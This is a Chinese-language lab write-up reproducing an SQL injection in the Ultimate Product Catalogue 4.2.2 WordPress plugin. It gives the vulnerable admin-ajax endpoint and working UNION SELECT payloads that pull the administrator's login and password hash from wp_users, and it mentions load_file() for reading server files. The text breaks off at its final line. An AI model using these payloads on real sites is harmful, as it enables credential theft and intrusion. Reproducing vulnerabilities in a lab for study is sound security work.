该SQL漏洞存在于wordpress的插件Ultimate Produce Catalogue 4.2.2版本,在Exploit Database可以搜到这个漏洞的信息:https://www.exploit-db.com/exploits/42263/。
01.基础环境
1. WordPress _v4.6源码,安装Ultimate Produce Catalogue 4.2.2版本插件。
2. 本机电脑搭建phpstudy作为WEB环境。
02.源码部署
首先wordpress的安装,这个之前在我已经有详细的搭建过程,有不明白的小伙伴可以查看。
下面介绍插件安装,Ultimate Produce Catalogue插件安装包的下载地址:
链接:http://pan.baidu.com/s/1o8Rvdfs
密码:avul
安装完成,启用插件。
03.漏洞复现过程
首先我们使用管理账号新建一个账号,名为testsql,利用testsql这个账号通过sql注入漏洞拿到管理员的账号。
然后使用testsql这个账号进行登陆。
存在漏洞的地址如下:
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=get_upcp_subcategories
[请求数据]
CatID=0UNION SELECT 1,2
引起这个漏洞的原因是CatID的参数没有做转义处理导致sql注入,如下图,可执行sql语句。
下载之后,进入首页,选择插件,添加插件并安装。
管理员管理员账号和密码的sql语句:
Payload:
CatID=0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1
04.总结
这个漏洞有点鸡肋,首先必须使用存在的账号登陆才能够回显数据,接着获得admin的账号密码之后,密码的破解难度很大,我们可以使用load_file()去读取系统的文件,如下是读取数据库的配置文件。
查看源代码: